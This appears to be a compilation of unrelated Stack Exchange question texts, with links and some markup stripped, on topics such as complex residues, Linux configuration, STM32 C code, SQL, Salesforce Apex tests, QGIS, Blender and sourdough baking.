I first expanded the equation into $\frac{1}{(z-i)(z+i)}$, then I apply the theorem that $$\underset{z=i}{Res}\frac{1}{(z-i)(z+i)}=\lim_{z\rightarrow i}(z-i)\frac{1}{(z-i)(z+i)}=\frac{1}{2i} $$ but the correct answer should be $\frac{-i}{2}$, which step is wrong?


Get Wacom CTL-480 to show up in gnome-control-center?

I have installed support for CTL-480 tablet as per:  . Thus, the pen moves the pointer and clicking all the buttons on the pen works. However, the tablet does not show up in gnome-control-center > Wacom Graphics Tablet > which just displays "No tablet detected, Please plug in or turn on your Wacom tablet".  Do I need to update or install something to get it to show or is this settings manager independent of getting the drivers to work? I am trying to remap one of the buttons to middle click.  Ubuntu 12.10, Cinnamon.


How to run "parted" command in terminal emulator on my android smartphone

Updated question (2018/2/20)  Thanks to grawity's answer and comment, my question can be updated.   My final goal is to acquire detailed partitioning information (including the start and end address of each partition on my android phone), either using fdisk or parted.    How to "install" the parted command into my android smartphone?  Can I use fdisk on a Linux system or on Cygwin on a windows system? Knowing that fdisk brought by BusyBox can't handle GPT.  (If so, maybe I could post another question.)     The original question (2018/2/19)  I have installed Busybox on my smartphone, and I want to acquire detailed partitioning information, including the start and end address of each partition on my android phone.   I can use fdisk command, but maybe because my phone's disk is GPT instead of MBR, command "fdisk -l" shows no output.   So I want to use the command "parted". But I don't have it on my smartphone. How can I get it?   I've traveled to . But what I can download is only source code. Do I need to compile that? If so, how do I compile that? Can I compile the source code with MinGW on a PC with Windows system?   If I get the "parted" file, where should I put it to make it work? Is it under /system/bin?  I haven't found a usable "parted" file yet. Is it because of my bad google skill or the file has to be compiled differently for different devices?   I hope to find an official version of the "parted" file.    EDIT (2018/2/19)  I do know my storage is GPT because fdisk -l /dev/block/mmcblk0 tells me. And I've read on the net that fdisk can't handle GPT, while parted can. I'm just not sure why fdisk -l is showing nothing.  fdisk -l /dev/block/mmcblk0  Disk /dev/block/mmcblk0: 15 GB, 15634268160 bytes, 30535680 sectors 1908480 cylinders, 1 heads, 16 sectors/track Units: cylinders of 16 * 512 = 8192 bytes  Device             Boot StartCHS    EndCHS        StartLBA     EndLBA    Sectors  Size Id Type /dev/block/mmcblk0p1    0,0,0       0,0,0                1   30535679   30535679 14.5G ee EFI GPT Partition 1 does not end on cylinder boundary


Volatile function argument in C (STM32F4 example)

Reading STM32 examples I've met code that cannot understand.    /**   * @brief  This function writes a data buffer in flash (data are 32-bit aligned).   * @note   After writing data buffer, the flash content is checked.   * @param  FlashAddress: start address for writing data buffer   * @param  Data: pointer on data buffer   * @param  DataLength: length of data buffer (unit is 32-bit word)      * @retval 0: Data successfully written to Flash memory   *         1: Error occurred while writing data in Flash memory   *         2: Written Data in flash memory is different from expected one   */ uint32_t FLASH_If_Write(__IO uint32_t* FlashAddress, uint32_t* Data ,uint16_t DataLength) {   uint32_t i = 0;    for (i = 0; (i < DataLength) && (*FlashAddress <= (USER_FLASH_END_ADDRESS-4)); i++)   {     /* Device voltage range supposed to be [2.7V to 3.6V], the operation will        be done by word */      if (HAL_FLASH_Program(FLASH_TYPEPROGRAM_WORD, *FlashAddress,  *(uint32_t*)(Data+i)) == HAL_OK)     {      /* Check the written value */       if (*(uint32_t*)*FlashAddress != *(uint32_t*)(Data+i))       {         /* Flash content doesn't match SRAM content */         return(2);       }       /* Increment FLASH destination address */       *FlashAddress += 4;     }     else     {       /* Error occurred while writing data in Flash memory */       return (1);     }   }    return (0); }   What is the metter of volatile argument?  And another part. I think volatile has no reason in it.  // Check if valid stack address (RAM address) then jump to user application if( ((*(__IO uint32_t*)MAIN_PROGRAM_START_ADDRESS) & 0x2FFE0000 ) == 0x20000000 ) {     /* Jump to user application */     uint32_t jumpAddress = *(__IO uint32_t*) (MAIN_PROGRAM_START_ADDRESS + 4);     /* Initialize user application's Stack Pointer */     __set_MSP(*(__IO uint32_t*) MAIN_PROGRAM_START_ADDRESS);     ((pFunction)jumpAddress)();     /* do nothing */     while(1); }   ST uses __IO to hide volatile.  #define __IO volatile  // from main uC header, i.e. "stm32f4xx.h"


I have entered iptables rules to log a specific connection on our server, but it doesn't seem to be working as I want it to. Here are the rules:  1    LOG        tcp  -- !10.51.0.0/16         0.0.0.0/0           state NEW    tcp dpt:8040 LOG flags 0 level 4 prefix `New Connection_8040TCP: ' 2    LOG        tcp  -- !192.168.0.0/16       0.0.0.0/0           state NEW tcp dpt:8040 LOG flags 0 level 4 prefix `New Connection_8040TCP: '   Iptables should log only IP connections which are not in the specified networks, but it keeps logging all connections from all IP addresses.


Relationship between ResolveAsk.com and StackExchange

Whilst doing some internet research for a question, I stumbled upon .  It seems that all the questions asked in all StackExchange sites are mirrored onto the site.  Interestingly, looking at the site list, they don't have CognitiveSciences updated to Psychology&Neuroscience (the current name) and so I was wondering if this is part of StackExchange or is ResolveAsk stealing our work?


How to deal with "'normal.mod' not found" in grub rescue?

Yesterday my PC suddenly freezed and when I restarted I was faced with the Grub Rescue. So I started trying ways provided in this site to make it to the boot menu.  First I tried to find where my Ubuntu was installed. But then when i tried the ls (hd0,2)/boot command for every listed partition, every time I got this error: unknown filesystem. It was unclear.  So I took someone's advise and tried . Hence since I was being shown the directories in ls (hd0,3)/, I assumed boot should be in (hd0,msdos3).  And then I went on with some steps to get to boot menu when suddenly  happened.  Since then I have not been able to find any solution to fix this 'normal.mod' problem. I think this is the last step to fixing the problem but right now I am at a dead end.   Please help.  P.S- If it helps I had only Linux Mint installed. No dualboot system.


Why can't we use asterik symbol in salesforce soql

select * from customer select * from TableName Why can't we use the '*' symbol in soql as in SQL


Converting Yeast Recipe to Natural Levain

Like many people, I've been doing a good bit of sourdough baking during the quarantine and, like many people, I am in a state of near-constant panic that I have to use up the starter that is constantly growing! I tend to bake breads but am branching out into enriched doughs and desserts. I am curious if there are any hard and fast rules, ratios, or techniques to how to take a yeast recipe (bread, pastry, cake, whatever) and make it with a sourdough levain instead?


Using (or not) the word "to" in a sentence ending with "be able"

Which of these is grammatically correct?   As educators, we are always looking for ways to reach all the learners in our classroom as effectively as we are able.   As educators, we are always looking for ways to reach all the learners in our classroom as effectively as we are able to.


How to fix the useless 'favicon.ico page not found' log message?

Why is Drupal looking for it in the root dir in first place? The favicon is always placed inside theme at sites/all/themes/mytheme/, but it's looking for favicon.ico inside home / dir.  When browsing website it spams the log error message in the Recent log messages page.


What is the difference between * when it come before and after something in C

I'm learning C through  and sometimes they use the * operator before writing something (like specifying a data type) and other times they put the asterisk at the end. I read that * was the operator that de-references a variable. What is the difference in the placement of *?  some examples from the website:  void addone(int * n) {     (*n)++; }   and  char vowels[] = {'A', 'E', 'I', 'O', 'U'}; char *pvowels = &vowels; int i;   or  int compare(const void* left, const void* right) {     return (*(int*)right - *(int*)left); }


In the iPad app the inbox shows unread notifications as a badge. When you tap on the icon a list pops up with the unread notices subtly highlighted in light blue. After you tap on one of the notices the icon badge and blue highlight disappear... Until today.  Now the highlight does not reset, and the inbox icon badge reappears with the same number a few minutes later.  It's worth noting that all the notifications I'm seeing are old ones from a few days ago that I had already read.  On the web interface the badge is absent but the 'unread' highlight is visible.  After visiting the inbox on the web, the iPad is back to "normal" for now. The badge and blue highlighting is gone.


Advantages of utilizing Entity Field query over views?

I've been  about entity field queries.  What are the advantages of using entity field queries (EFQ) over views?  What are the largest pain points/disadvantages of using EFQ ?


New logo in Bounty Email is squished vertically

Related:   This new logo has since gone funky:


Why is the sum() of zero numbers not zero?

For the following query  SELECT sum(c)  FROM (SELECT 1 c WHERE false) t;   I thought it takes the sum of zero numbers, and therefore should return 0. (Similarly, I expect, e.g. an array aggregate function to return an empty array on zero elements).  Yet, it is returning a NULL (using PostgreSQL 11).  => SELECT sum(c) FROM (SELECT 1 c WHERE false) t;   sum  -----  (1 row)   This doesn't make sense to me logically.   Why is the sum of zero numbers (for any numeric type) not zero? Is this NULL returning behavior standard?  Or maybe I am missing something. Any reason one has to make the sum NULL in some corner cases?


I know about nonlocal keyword and how to fix this error but I am getting a behaviour that I am not understanding in the code below. If you run this, there is no problem  def test( root):         x=2         def f2(r):             print("***")             x=r #Adding this line is ok             print("----",x)         f2(root)         return x test(4)   Now try changing x=r  to be be the last line in f2 does not work as below  def test( root):         x=2         def f2(r):             print("***")             print("----",x)             x=r #Gives an error "local variable 'x' referenced before assignment"         f2(root)         return x test(4)   Thanks


Are there known relatives to Hogwarts teachers?

Do the teachers have any family (like husband, children and wife), or are they sacrificing their personal lives for the service of the school?


I downloaded the driver for the HP LaserJet Pro M15w printer on this  , whether this website is safe to use


What is the proof that $\int e^{-x^2} \cdot dx$ is not elementry.

Is there a proof that gives the evidence there is no closed form for $\int e^{-x^2} \cdot dx$?  or just because they were not able to find that elementry form for a long time of trying without any useful results then they told us that such a form does not exist?  Error function is solving the integral problem but it is not elementry function.  Applying the integral is simple by using Taylor series.  $e^{-x^2}=\sum_{n=0}^{\infty} \frac {(-1)^n x^{2n}}{n!} =1-x^2+ \frac {x^4}{2!}-\frac {x^6}{3!}+\frac {x^8}{4!}-...$  $\int e^{-x^2} \cdot dx =\sum_{n=0}^{\infty} \frac {(-1)^n x^{2n+1}}{n!(2n+1)} =x-\frac {x^3}{3}+ \frac {x^5}{2!5}-\frac {x^7}{3!7}+\frac {x^9}{4!9}-...$  And if there is no sufficient proof, I will be more confident that there is one and we should note that:  1) $\int_{-\infty}^{\infty} e^{-x^2} \cdot dx = \sqrt {\pi}$ which means the formula contains inverse trigonometric function/s.  2) $\arctan(x) =\sum_{n=0}^{\infty} \frac {(-1)^n x^{2n+1}}{(2n+1)} =x-\frac {x^3}{3}+ \frac {x^5}{5}-\frac {x^7}{7}+\frac {x^9}{9}-... $ it is similar somehow to $\int e^{-x^2} \cdot dx $ expantion series.  3) $\arctan(x)$ curve looks closely like error function curve.  4) Laplace proof (1812) ends with $I^2=2[\arctan(s)]_{0}^{\infty} =\pi$ , where $I=\int_{-\infty}^{\infty} e^{-x^2} \cdot dx$  And finally, the above 4 notes do not mean that $arctan(x)$ can give a solution, but with some intelligent handling using possible inverse trigonometric functions and other tools may lead to some useful results and that is what I believe if and only if there is no proof tells that no elementry function exists for $\int e^{-x^2} \cdot dx $


How can I enable Civ 5 Mods button on Mac OS X Mountain Lion?

EDIT: Figured it out. Looks like in the other thread, the updated G&K directions were incorrect (at least for me). I simply followed the original directions and found the Controls.ModsButton:SetHide(true) and fixed it, per original instructions. Sorry for the duplicate! Thanks for all the help!  I looked at this link first:   But I got stuck where it says Front End/Mainmenu.lua. Mine is a .xml file (not sure if that matters). Anyway, I opened it up using Text Editor on Mac, but couldn't find the "Controls.ModsButton:SetHide( true );" to change it. So now I am stuck. This is what it says instead:    <GridButton Anchor="C,T" ID="ModsButton"          Size="320,45"    Style="ZoomButton" String="TXT_KEY_MODS" >     <ShowOnMouseOver>       <AlphaAnim Anchor="L,T" Size="320,48" Pause="0" Cycle="Bounce" Speed="1" AlphaStart="1.5" AlphaEnd="1">         <Grid   Size="320,48" Offset="0,-2" Padding="0,0" Style="Grid9FrameTurnsHL" />       </AlphaAnim>       <AlphaAnim Anchor="L,T" Size="320,48" Pause="0" Cycle="Once" Speed="1" AlphaStart=".2" AlphaEnd="0">         <Image Anchor="R,C" Offset="0,0" AnchorSide="O.I" Texture="Assets/UI/Art/WorldView/WindowGlowRight.dds" Size="42,86" />         <Image Anchor="L,C" Offset="0,0" AnchorSide="O.I" Texture="Assets/UI/Art/WorldView/WindowGlowLeft.dds" Size="42,86" />       </AlphaAnim>      </ShowOnMouseOver>     <Image Anchor="C,T" AnchorSide="I.O" Offset="0,0" Texture="bar300x2.dds" Size="300.1" />   </GridButton>   If you want the whole text, I can post it. But nothing that I saw suggested a "hide mods button" so I'm not sure what to do next. I have Gods & Kings as well. Help!


How can I check the battery status of all my apple devices like Airpods and iPhone on Mackbook and Airpods and Macbook on iPhone on something like battery widget. I see that currently there is no battery widget for mac and iPhone battery widget does not show Macbook's battery.


Prevent error "is undefined" in if statement

My question is about preventing an "variable is undefined" error more effiencitly.  e.g  If I use the following code:  if (array[index] != undefined) {   if (array[index].id == 1)   {     // code    } }   It will work fine. But, am I able to use  if (array[index] != undefined && array[index].id == 1) {  // code }   without getting an "variable is undefined" error, if array is undefined?  (I can't exactly test this in my code right now because I'm building a client-server application, and I'd have to alter many lines to try it, so I'm asking it here. I'm sorry if it's not appropriate)


What is the Smallest Distance Possible that Two Stargates Are Able To Dial One Another?

Related Questions:        We all know that gates within close proximity to one another are unable to dial one another (SG-1; Solitudes), and that only one may be active within a certain volume of space (since it gains priority over other gates)(SG-1; Watergate)(ATL; Enemy at the Gate).  So the question then begs itself:  Assuming that two stargates are of the same model (i.e. both are Milky Way, Pegasus, Destiny, etc.), and assuming typical usage (i.e. transport of matter and energy), what would be the minimum distance required for one to be able to dial, connect, and establish a wormhole with the other?     NOTE: This question considers typical usage only. As @Eureka had mentioned in the comments, when atypical usage is considered, the minimum distance is technically zero (since the same gate is connected to but at different times). (This begs another question, what happens if the gate is active during the time your connecting to it through a solar flare?)


Emailing Authors only when a CUSTOM POST TYPE post is published- not when edited later

I have the following function that emails authors of a custom post type when the post is published which is great, but I would like it so that it does not email them on any future edits after that to avoid sending them loads of emails by accident.  This is the function I have at the moment:  //email authors function authorNotification($post_id) {    $post = get_post($post_id);    $author = get_userdata($post->post_author);     $message = "Hi ".$author->display_name.". A document for you, ".$post->post_title." has just been published or edited and requires your attention.  You will be taken to the document after you log in from this link: ".get_permalink( $post_id ).".    ";    wp_mail($author->user_email, "An online document has been made or edited for you.", $message); } add_action('publish_portaldocuments', 'authorNotification');   I'm wondering if it has something to do with the The {$old_status}to{$new_status} and {$new_status}_{$post->post_type} hooks as on this page:   Could someone help please as I'm not sure how I would implement it WITH A CUSTOM POST TYPE. Thanks :-)  Update: This worked for me:  // SEND EMAIL TO AUTHOR OF A CUSTOM POST TYPE ONCE POST IS PUBLISHED  function authorNotification($post_id) {     if( ( $_POST['post_status'] == 'publish' ) && ( $_POST['original_post_status'] != 'publish' ) ) {  $post = get_post($post_id);    $author = get_userdata($post->post_author);     $message = "Hi ".$author->display_name.". A document for you, ".$post->post_title." has just been published or edited and requires your attention.  You will be taken to the document after you log in from this link: ".get_permalink( $post_id ).".    ";    wp_mail($author->user_email, "An online document has been made or edited for you.", $message);     } }  add_action( 'publish_portaldocuments', 'authorNotification' );


While using sudo su I am getting this error:  sgr@sgr-VirtualBox:~$ sudo su sudo: must be setuid root   I cannot log in to root? Why/How to fix it?


I started the "Under Saarthal" quest a while ago but stopped because I couldn't find the Arch-Mage as the final part of that quest.   Now I'm working on it again but no matter how many times I leave and come back, wait, load previous save files, or wonder aimlessly around the college, the Arch-Mage will not come down from the upstairs door in his quarters. And a key is required to open that door but for me to obtain it, I will receive it after he dies.   I've looked at so many others' similar questions but am not finding an answer.  I've gone back to Saarthal and spoke with Tolfdir. A lot of people were saying that he's either in the courtyard or sitting in a chair in his room, which he isn't. At first I didn't realize it was to that top door because when I have the quest selected, it sends me out of the college and behind it between the college and sky temple ruins. I can't access the area where he is by going through the hall of attainment. I've tried going elsewhere and waiting and sleeping and returning but nothing changes. He doesn't go to bed, he doesn't come out at all. I'm thinking I must have missed something. Someone else wrote that I had to get the scroll first from alftand, I've had that before I reached this problem.


I was reading and faced with interesting look of main method which I didn't see before. Is there any difference between      public static void main(String[] args)    and     public static void main(String a[])           As I see applying either of them gives me the same output     public static void main(String a[]){         List <Integer> li = new ArrayList <Integer>();         ListIterator <Integer> liItr = null;          li.add(1);         li.add(2);         li.add(3);         li.add(4);         li.add(5);         li.add(6);         li.add(7);         liItr = li.listIterator();        System.out.println("Elemnets in forward direction");        while(liItr.hasNext()){            System.out.println(liItr.next());        }        System.out.println("Elements in backward direction");        while(liItr.hasPrevious()){            System.out.println(liItr.previous());       }     }   }   P.S. I consider myself as a beginner of Java. If someone could highlight giving me some explanation on that it would be nice


I have two questions about a prove that I have to do for my mathematic study. I'm now thinking about it the whole day, but can't find the prove. Let $a,b \in \mathbb Z_{>0}$.  (a) Prove: $\gcd(2^a - 1, 2^b - 1) = 2^{\gcd(a,b)} - 1$ (b) Is this also true when you replace $2$ with a number $c > 2, c \in \mathbb Z$?  For (b), I think it's true, but I can't explain why. Thanks in advance!


I have a html code

I'm working Child 1

I'm working Child 2

I'm working Child 3

I'm working Child 111

    now I want to show Child111 before Child2 but after Child1 via CSS


How to deal with factors with rare levels in cross-validation?

Suppose in a regression analysis in R, I have a factor type independent variable with 3 levels in my train dataset. But in the test data set that same factor variable has 5 levels. Therefore I can not predict the response values for test dataset. What should be done in this case?


Post history not accessible without edits

Normally, the close/lock/delete history of a post (including the reversal of such actions) is easily accessible along with the posts revisions.  However, if the post has not been edited (aside from closures/lockings/deletions), there is no link to the revision history, and no indication (aside from maybe comments) that the post was ever closed and reopened, locked and unlocked, or deleted and undeleted.  Example:   Of course, the revision history is still accessible via the direct URL, so the close/lock/delete history can be seen, but there is no indication that such history exists.  I propose that if there are no edits on a question that has been closed, locked, or deleted, there be a link to the revision history in the typical location, with a timestamp of the closure/locking/deletion activity.  It'd be useful to know by looking at the post that there is disagreement as to whether it should be open or closed, locked or unlocked, deleted or undeleted, and it's unclear enough that it's gone both ways without even being edited.    Another example is here:   The question was closed (and then reopened) by a moderator. There is a comment about expanding/improving the question, but no indication that it has been closed/reopened or why.


What's better here - a single column or multicolumn primary key?

Let's assume you have a table groups and a table item. Each item belongs to exactly one group. It is an inherent part of that group. An item cannot exist outside of a group and it cannot be moved to another group.  When trying to decide on a primary key for the item table, what should I use?  Should I make up an artificial global serial key like this:  CREATE TABLE items (     item serial PRIMARY KEY,     group integer NOT NULL REFERENCES groups(group), );   ... or should I rather use a composite key and per-group item serial like this:  CREATE TABLE items (     group integer NOT NULL REFERENCES groups(group),     item integer NOT NULL,      PRIMARY KEY(group, item) );   The reason why I'm leaning more towards the second solution is that the post URL will always show the group and item, so it makes sense to have both of them as the composite primary key. In case of the first solution, the URL contains superfluous information because the group ID can already be deduced from the item ID alone. The URL structure is given, however, and cannot be changed.  The disadvantage of the second solution is that you have to manage a per-group serial (i.e. each item integer should start from 0 for each group).  What's better in terms of best practices, normalization and performance? Or is it simply a matter of taste?


I'm doing a project, where i hava a todo list, and i start with 6 existing tasks. My jquery can access them, give them the class "completed", or remove it, and can delete the task itself. The problem is when i add a new task with a function, and this new task has the same classes as the originals, but jquery cannot access the new ones. Any help would be appreciated. Thank you.  Html (Input for user to add a new task & Original task)
    <input onclick="addTask()" id="ready" type="radio" name="ready">     <input type="text" name="todoTask" id="todoTask" placeholder="Create a new todo...">

      <input type="radio" class="bttComplete" name="bttComplete">      Complete Online Javascript Course

   JavaScript (addTask)  function addTask(){     var divNova = document.createElement("div");     var userTask = document.createTextNode(document.getElementById("todoTask").value);     var radioInput = document.createElement('input');     var lineThrough = document.createElement('span');      lineThrough.setAttribute('span', '');     radioInput.setAttribute('type', 'radio');     radioInput.setAttribute('name', 'bttComplete');     radioInput.setAttribute('class', 'bttComplete');      var del = document.createElement("div");      $(divNova).addClass('newTasks');     $(del).addClass('delete');      lineThrough.appendChild(userTask);     divNova.appendChild(radioInput);     divNova.appendChild(lineThrough);      divNova.appendChild(del);      var divAtual = document.getElementById("tasksBox");      divAtual.appendChild(divNova);      var remaining = document.getElementById('remainingTasks');     divAtual.insertBefore(divNova, remaining);        incrementCounter(); }   Jquerie (Add/Remove completed & Delete task)  $(".bttComplete").click(function() {         if ($(this).hasClass('completed')){           $(this).removeClass('completed');         } else {           $(this).addClass('completed');           //decrementCounter();         };     });      $(".delete").click(function(){         $(this).closest(".newTasks").remove();       decrementCounter();     });


Euler's Solution of Seven Bridges of Königsberg in Layman Terms

Is the below brief explanation correct and complete (at least in context)? Can it be improved/simplified without getting technical? I am especially concerned about the last sentence: Is that reasoning absolutely clear to a layman?            The problem can be viewed as drawing the above graph without lifting your hand and without retracing a line. Observe that each dot is connected by three lines. Also observe that you have to draw a line to arrive at a dot, and you have to draw a line to leave that dot. Because each dot is connected by three lines, each must be visited twice. But it is impossible to visit each dot twice (even number of times) and end up with each dot connected with three lines (odd number of times).


What cameras can be used for custom street view? I mean lots of overlapping spherical panoramas which cover long distances

Google Street View is good idea. But I don't know any way to make similar thing myself. Is there any? What equipment would I need to make 1000 km of my own street view at once?


What happens to rep earned on posts that are later migrated?

I had a  that was migrated to Area 51 on 23rd January, after receiving 3 upvotes here. However, I suddenly lost the 15 rep from the upvotes today(almost a month later).     If I understand this  correctly, then that is not supposed to happen and rep gained on the original site is to be retained on the original site. Is this correct ?  What happened to my rep ?


CPU fan runs fast with low temperature and low usage

I have Ubuntu 19.10 on an ASUS N750JK laptop, and it makes the CPU fan run fast almost all the time, without any apparent good reason. The battery gets drained quite fast. This is the output of sensors:  $ sensors coretemp-isa-0000 Adapter: ISA adapter Package id 0:  +51.0°C  (high = +84.0°C, crit = +100.0°C) Core 0:        +51.0°C  (high = +84.0°C, crit = +100.0°C) Core 1:        +48.0°C  (high = +84.0°C, crit = +100.0°C) Core 2:        +48.0°C  (high = +84.0°C, crit = +100.0°C) Core 3:        +50.0°C  (high = +84.0°C, crit = +100.0°C)  acpitz-acpi-0 Adapter: ACPI interface temp1:        +51.0°C  (crit = +103.0°C)  asus-isa-0000 Adapter: ISA adapter cpu_fan:     4600 RPM temp1:        +51.0°C     I tried to manually lower the CPU frequency to 2GHz, when the max allowed by hardware is 3.4GHz, but that doesn't help. I also installed tlp. What could cause this issue?


How do I install the latest version of Git with apt?

I read about a security flaw in Git, which was fixed in version 2.2.1. I currently have Git 2.1.0 on my system (Ubuntu 14.10), and tried to reinstall it with apt. However, apt told me that I currently have the latest version.  The Git website does not have prebuilt versions for Linux. They say that you can install it with package managers. Without building from source, how would I install the latest version of Git?


My setup is several VM's, with a local subnet (192.168.10.0/24) Host machine is 192.168.10.1 (br1) (or 10.30.0.7 interface with inet) it runs a DHCP server to assign my VM's their IP's. I don't want to bridge the connection like normal with brctl addif but instead I want the VM's to be able to connect to the internet sharing the host's IP (specifically 10.30.0.1 or interface wg0 (wireguard)) How can I do this with iptables?


I am quite new to blender and am trying to save this small animation I made, I know you can view the rendered animation by pressing CTRL+F12 but how do I save this as a video? Furthermore, when I tried to do it last time and found 400+ images in a blender folder. I have used a gif program to convert these 400+ images into a gif and turned that gif into a video, but is there a directer and more effective way?


When it says Documents received in Our office by July 27, 2020, will be processed by August 7, 2020. Does this include date 27 july. Can we say that documents received on 27 july also processed. Or we have to use “till” 27 july.


Why is the automatic login disabled for users with encrypted home?

I've tried to setup an autologin, but that isn't possible, because my home is encrypted. What are the reasons for this?  PS. Here I have described my problem: .


Any good way to write mathematical induction proof steps in LaTeX?

I need to write some mathematical induction using LaTeX. Are there any packages that I can use for that purpose?


What is wrong with this test class? It is not covering, any suggestions? Thanks,

@isTest public class PropRentTotalSumTEST {     @isTest     static void testFeeCalculation() {            Property__c prop = new Property__c();         prop.Name = 'Test';         prop.Monthly_Rate__c = 0;          insert prop;          List<Fee__c> fees = new List<Fee__c>();         Fee__c fees1=new Fee__c();         fees1.Name = 'Realtor';         fees1.Cost__c = 1000;         fees1.Property__c = prop.Id;          Fee__c fees2=new Fee__c();         fees2.Name = 'Lawyer';         fees2.Cost__c = 2000;         fees2.Property__c = prop.Id;         fees.add(fees1);         fees.add(fees2);          Test.startTest();      insert fees;     delete fees;          Test.stopTest();      Property__c propsProperty = [SELECT Monthly_Rate__c FROM Property__c WHERE Id =: prop.Id];          System.assertEquals(0, propsProperty.Monthly_Rate__c);      } }   public with sharing class PropRentTotalSum {     public static void RentTotal(List<Fee__c> fees) {          List<Id> ids = new List<Id>();         List<Property__c> properties = new List<Property__c>();         for (Fee__c fee : fees) {             ids.add(fee.Property__c);         }         for (Property__c property : [                 SELECT Id,Monthly_Rate__c, (SELECT Id, Cost__c FROM Fees__r)                 FROM Property__c                 WHERE Id = :ids         ]) {             Decimal sum = 0;             for (Fee__c fee1 : property.Fees__r) {                 sum = sum + fee1.Cost__c;             }             property.Monthly_Rate__c = sum;             properties.add(property);         }         try {             update properties ;         } catch (Exception e) {             System.debug('Exception :' + e.getMessage());         }     } }


Changing unit of measure from degrees to meters in QGIS?

I am running QGIS 1.7.0 on windows, and I donwloaded a shapefile of .  This file appears to be in the WGS 84 coordinate system, and when I open it in QGIS the unit of measure is degrees.  I tried re-projecting the file into the NAD 83 coordinate system, and saving it as a new shapefile, but when I open the new file it still displays a ruler in degrees.  If I try to make a buffer, it interprets buffer distance as degrees.  Assuming I'm starting with a shapefile from TIGER, what's the best way to convert my unit of measure from degrees to meters?    For posterity, it seems like the following workflow make sense when dealing with US census TIGER shapefiles:           Open it in QGIS     Click the Settings menu and select project properties     Select a projected coordinate system, like NAD83 / UTM zone 19N     Click the box Enable 'on the fly' CRS transformation     Click ok     Click the 'zoom full' button (one of the magnifying glasses)


Did Apocalypse enhance mutants' superpowers permanently?

This question assumes that Apocalypse enhanced mutants' superpowers permanently. Is this true? I want proper citation.  I am skeptical because if Magneto could continue to be able to single-handedly create apocalyptic mayhem, those future sentinels in X-Men: Days of the Future Past movie shouldn't have been a big deal. But, it can be plot inconsistency or Magneto's old age.


@isTest public class ConvertTestClass {      public static testMethod void test1() {          Lead__c ld = new Lead__c ();         ld.First_Name__c = 'Test';         ld.Name    ='first';         ld.Company__c ='Test company';         ld.Status__c = 'Qualified';         insert ld;          Test.StartTest();           PageReference pageRef = Page.RedirectingToLead;          Test.setCurrentPage(pageRef);           ApexPages.StandardController sc = new ApexPages.StandardController(ld);         ConvertTheLead testAccPlan = new ConvertTheLead(sc);         testAccPlan.RedirecttoSite();         testAccPlan.convertbutton();         Test.StopTest();      }      public static testMethod void test2() {          Lead__c ld = new Lead__c ();         ld.First_Name__c = 'Test';         ld.Name    ='first';         ld.Company__c ='Test company';         // Set Status as any valid value other then "Qualified"         ld.Status__c = 'New';          insert ld;          Test.StartTest();           PageReference pageRef = Page.RedirectingToLead;          Test.setCurrentPage(pageRef);         PageReference RedirectingToLead = extension.myUpdate();           ApexPages.StandardController sc = new ApexPages.StandardController(ld);         ConvertTheLead testAccPlan = new ConvertTheLead(sc);         testAccPlan.RedirecttoSite();         testAccPlan.convertbutton();         Test.StopTest();         system.assert(ApexPages.addMessage(), 'There should be an error');     system.assertEquals(null, RedirectingToLead, 'Redirect should be cancelled');      }  }


Can I change directory to a Windows drive in Ubuntu Bash on WSL?

I am a super newbie for Ubuntu and basically need Ubuntu for a Python package.  I would like to run a Python file in say e:/username/folder1/folder2/python.py. I tried every method online and the only reply is bash: cd./e: No such file or directory. I am not sure whether it is because of the bash windows or virtualenv.  When I use bash on Ubuntu on Windows, ls, it says VIRTUALENV_DIR. cd, it says /home/username. The cd .. etc changes the directory a little, but not another drive, nor the folder I would like it to find.


Auto incrementing field based on groups within feature class?

I am needing to auto increment a field based on groups within a feature class. I have 8 plots within a given polygon and I need to assign them an ID from 1-8 for each set of plots within each polygon. The polygon would have its own unique ID number to be used to group the plots.  I assume it would be an alteration of this:  rec=0 def autoIncrement():  global rec  pStart = 1   pInterval = 1   if (rec == 0):    rec = pStart   else:    rec = rec + pInterval   return rec


User removed? Why? And most importantly: from what site?

I would like to know why I got this message:     Mar27 -10 20:31 removed User was removed   I don't remember where I last posted, so, where was my user removed from?  Why didn't I get any warning? I don't think I've broken any rules (yes, I've read posts like ).  I can't imagine why the user would be removed! I mean, to cease its existence!  And without any warning or advice, a MESSAGE... nothing!


What does the following code snippet do?

excuse me for asking such a generic question, but I can't phrase it better. I have seen code of this style fairly often, but have not yet used it.    variable= someClass.someMethod(new someOtherClass(){       methodDeclaration(){       } });   If you don't know what I mean, the top answer could serve as an example:   When is this used? Are there any examples of problems that can only be solved by such code?


I'm new to blender and i need to makee a small 3d platform level for school. I followed a tutorial and built my level inside an UV Sphere so it would get a background image. in my case, to simulate the Space. The problem is, i've done one level already and its all good. But in this second one, whenever i try to switch to camera view, theres this gray circle and i cannot render the texture of the sphere. Whats goin on ?  EDIT: Heres the image:    EDIT2 : I already changed the clipping end parameter. Still nothing.  EDIT3:


Using \includegraphics within the caption of a figure

Is it possible to use \includegraphics within the caption of a figure?  When I try, I get an error.  Here is a complete (sans graphics) minimal example that also demonstrates why I want to do this:  \documentclass{article} \usepackage{graphicx}  \newcommand{\Triangle}{\raisebox{-0.3em}{\includegraphics[height=1.25em]{triangle}}}  \begin{document}  % this use of \Triangle below works fine: \Triangle  \begin{figure}[ht] %  \includegraphics{...}    \caption{example caption \Triangle . } \end{figure}  \end{document}     I do this because I need to include small symbols into the text, which I have as PDF graphics (it's not just a basic triangle---I know I could get that as a character).  If I remove the \newcommand part and just do a plain \includegraphics, I get the same error.  This is the error I get:  ./Untitled.tex:12: Argument of \@caption has an extra }. <inserted text>                  \par  l.12    \caption{example caption \Triangle . }


Why does my shell script choke on whitespace or other special characters?

Or, an introductory guide to robust filename handling and other string passing in shell scripts.  I wrote a shell script which works well most of the time. But it chokes on some inputs (e.g. on some file names).  I encountered a problem such as the following:   I have a file name containing a space hello world, and it was treated as two separate files hello and world. I have an input line with two consecutive spaces and they shrank to one in the input. Leading and trailing whitespace disappears from input lines. Sometimes, when the input contains one of the characters \[*?, they are replaced by some text which is is actually the name of files. There is an apostrophe ' (or a double quote ") in the input and things got weird after that point. There is a backslash in the input (or: I am using Cygwin and some of my file names have Windows-style \ separators).   What is going on and how do I fix it?


Does Mulholland Drive have a coherent storyline?

of the above mentioned movie has a few possible explanations for coherently explaining some of the events happening in the film, but there seems to be no explanation that fits all the events. Is it confirmed if the movie was created with a coherent storyline in the first place, keeping in mind that earlier there were shelved plans for a TV series based on the same?


